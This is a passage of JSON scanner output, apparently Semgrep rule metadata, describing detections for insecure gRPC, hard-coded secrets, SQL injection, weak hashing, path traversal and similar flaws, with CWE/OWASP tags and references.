a connection without encryption to a gRPC client/server. A malicious attacker could tamper with the gRPC message, which could compromise the machine.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection)\n - [https://blog.gopheracademy.com/advent-2017/go-grpc-beyond-basics/#:~:text=disables%20transport%20security](https://blog.gopheracademy.com/advent-2017/go-grpc-beyond-basics/#:~:text=disables%20transport%20security)\n","text":"Found an insecure gRPC connection. This creates a connection without encryption to a gRPC client/server. A malicious attacker could tamper with the gRPC message, which could compromise the machine."},"helpUri":"https://semgrep.dev/r/javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection","id":"javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection","name":"javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret","id":"csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret","name":"csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context' instead."},"help":{"markdown":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.unverified-ssl-context.unverified-ssl-context)\n - [https://docs.python.org/3/library/ssl.html#ssl-security](https://docs.python.org/3/library/ssl.html#ssl-security)\n - [https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection](https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection)\n","text":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.unverified-ssl-context.unverified-ssl-context","id":"python.lang.security.unverified-ssl-context.unverified-ssl-context","name":"python.lang.security.unverified-ssl-context.unverified-ssl-context","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.unverified-ssl-context.unverified-ssl-context"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The call to 'createDecipheriv' with the Galois Counter Mode (GCM) mode of operation is missing an expected authentication tag length. If the expected authentication tag length is not specified or otherwise checked, the application might be tricked into verifying a shorter-than-expected authentication tag. This can be abused by an attacker to spoof ciphertexts or recover the implicit authentication key of GCM, allowing arbitrary forgeries."},"help":{"markdown":"The call to 'createDecipheriv' with the Galois Counter Mode (GCM) mode of operation is missing an expected authentication tag length. If the expected authentication tag length is not specified or otherwise checked, the application might be tricked into verifying a shorter-than-expected authentication tag. This can be abused by an attacker to spoof ciphertexts or recover the implicit authentication key of GCM, allowing arbitrary forgeries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length)\n - [https://www.securesystems.de/blog/forging_ciphertexts_under_Galois_Counter_Mode_for_the_Node_js_crypto_module/](https://www.securesystems.de/blog/forging_ciphertexts_under_Galois_Counter_Mode_for_the_Node_js_crypto_module/)\n - [https://nodejs.org/api/crypto.html#cryptocreatedecipherivalgorithm-key-iv-options](https://nodejs.org/api/crypto.html#cryptocreatedecipherivalgorithm-key-iv-options)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures/](https://owasp.org/Top10/A02_2021-Cryptographic_Failures/)\n","text":"The call to 'createDecipheriv' with the Galois Counter Mode (GCM) mode of operation is missing an expected authentication tag length. If the expected authentication tag length is not specified or otherwise checked, the application might be tricked into verifying a shorter-than-expected authentication tag. This can be abused by an attacker to spoof ciphertexts or recover the implicit authentication key of GCM, allowing arbitrary forgeries."},"helpUri":"https://semgrep.dev/r/javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length","id":"javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length","name":"javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length","properties":{"precision":"very-high","tags":["CWE-310: CWE CATEGORY: Cryptographic Issues","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.sql.postgres-taint.postgres-taint)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.actix.sql.postgres-taint.postgres-taint","id":"rust.actix.sql.postgres-taint.postgres-taint","name":"rust.actix.sql.postgres-taint.postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.sql.postgres-taint.postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils","id":"java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils","name":"java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret","id":"go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret","name":"go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"$POOL.get_virtual_price() call on a Curve pool is not protected from the read-only reentrancy."},"help":{"markdown":"$POOL.get_virtual_price() call on a Curve pool is not protected from the read-only reentrancy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy)\n - [https://chainsecurity.com/heartbreaks-curve-lp-oracles/](https://chainsecurity.com/heartbreaks-curve-lp-oracles/)\n - [https://chainsecurity.com/curve-lp-oracle-manipulation-post-mortem/](https://chainsecurity.com/curve-lp-oracle-manipulation-post-mortem/)\n","text":"$POOL.get_virtual_price() call on a Curve pool is not protected from the read-only reentrancy."},"helpUri":"https://semgrep.dev/r/solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy","id":"solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy","name":"solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If an attacker can supply values that the application then uses to determine which class to instantiate or which method to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner."},"help":{"markdown":"If an attacker can supply values that the application then uses to determine which class to instantiate or which method to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.unsafe-reflection.unsafe-reflection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"If an attacker can supply values that the application then uses to determine which class to instantiate or which method to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.unsafe-reflection.unsafe-reflection","id":"java.lang.security.audit.unsafe-reflection.unsafe-reflection","name":"java.lang.security.audit.unsafe-reflection.unsafe-reflection","properties":{"precision":"very-high","tags":["CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.unsafe-reflection.unsafe-reflection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"$sceDelegateProvider allowlisting can introduce security issues if wildcards are used."},"help":{"markdown":"$sceDelegateProvider allowlisting can introduce security issues if wildcards are used.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsJs](https://docs.angularjs.org/api/ng/service/$sce#trustAsJs)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"$sceDelegateProvider allowlisting can introduce security issues if wildcards are used."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading","id":"javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading","name":"javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure EFS filesystem is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure EFS filesystem is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure EFS filesystem is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk","id":"terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk","name":"terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Possible path traversal through `tarfile.open($PATH).extractall()` if the source tar is controlled by an attacker"},"help":{"markdown":"Possible path traversal through `tarfile.open($PATH).extractall()` if the source tar is controlled by an attacker\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal)\n - [https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall](https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall)\n","text":"Possible path traversal through `tarfile.open($PATH).extractall()` if the source tar is controlled by an attacker"},"helpUri":"https://semgrep.dev/r/trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal","id":"trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal","name":"trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $translateProvider.translations method can be dangerous if user input is provided to this API."},"help":{"markdown":"The use of $translateProvider.translations method can be dangerous if user input is provided to this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsUrl](https://docs.angularjs.org/api/ng/service/$sce#trustAsUrl)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $translateProvider.translations method can be dangerous if user input is provided to this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method","id":"javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method","name":"javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as scrypt. You can use `hashlib.scrypt`."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as scrypt. You can use `hashlib.scrypt`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/html/rfc6151](https://tools.ietf.org/html/rfc6151)\n - [https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision](https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://docs.python.org/3/library/hashlib.html#hashlib.scrypt](https://docs.python.org/3/library/hashlib.html#hashlib.scrypt)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as scrypt. You can use `hashlib.scrypt`."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.md5-used-as-password.md5-used-as-password","id":"python.lang.security.audit.md5-used-as-password.md5-used-as-password","name":"python.lang.security.audit.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.postgres.hardcoded-password.hardcoded-password)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.postgres.hardcoded-password.hardcoded-password","id":"rust.secrets.postgres.hardcoded-password.hardcoded-password","name":"rust.secrets.postgres.hardcoded-password.hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.postgres.hardcoded-password.hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure IAM policies don't allow credentials exposure. Credentials exposure actions return credentials as part of the API response, and can possibly lead to leaking important credentials. Instead, use another action that doesn't return sensitive data as part of the API response."},"help":{"markdown":"Ensure IAM policies don't allow credentials exposure. Credentials exposure actions return credentials as part of the API response, and can possibly lead to leaking important credentials. Instead, use another action that doesn't return sensitive data as part of the API response.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/credentials-exposure/](https://cloudsplaining.readthedocs.io/en/latest/glossary/credentials-exposure/)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMCredentialsExposure.py)\n","text":"Ensure IAM policies don't allow credentials exposure. Credentials exposure actions return credentials as part of the API response, and can possibly lead to leaking important credentials. Instead, use another action that doesn't return sensitive data as part of the API response."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure","id":"terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure","name":"terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`$mysqli->prepare(\"INSERT INTO test(id, label) VALUES (?, ?)\");`) or a safe library."},"help":{"markdown":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`$mysqli->prepare(\"INSERT INTO test(id, label) VALUES (?, ?)\");`) or a safe library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`$mysqli->prepare(\"INSERT INTO test(id, label) VALUES (?, ?)\");`) or a safe library."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-sql-string.tainted-sql-string","id":"php.lang.security.injection.tainted-sql-string.tainted-sql-string","name":"php.lang.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `sequelize.query('SELECT * FROM projects WHERE status = ?', { replacements: ['active'], type: QueryTypes.SELECT });`"},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `sequelize.query('SELECT * FROM projects WHERE status = ?', { replacements: ['active'], type: QueryTypes.SELECT });`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli)\n - [https://sequelize.org/master/manual/raw-queries.html](https://sequelize.org/master/manual/raw-queries.html)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `sequelize.query('SELECT * FROM projects WHERE status = ?', { replacements: ['active'], type: QueryTypes.SELECT });`"},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli","id":"javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli","name":"javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via Java Spring RestTemplate API to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via Java Spring RestTemplate API to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request)\n - [https://docs.spring.io/spring/docs/current/javadoc-api/org/springframework/web/client/RestTemplate.html#delete-java.lang.String-java.util.Map-](https://docs.spring.io/spring/docs/current/javadoc-api/org/springframework/web/client/RestTemplate.html#delete-java.lang.String-java.util.Map-)\n - [https://www.baeldung.com/rest-template](https://www.baeldung.com/rest-template)\n","text":"Checks for requests sent via Java Spring RestTemplate API to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request","id":"problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request","name":"problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An 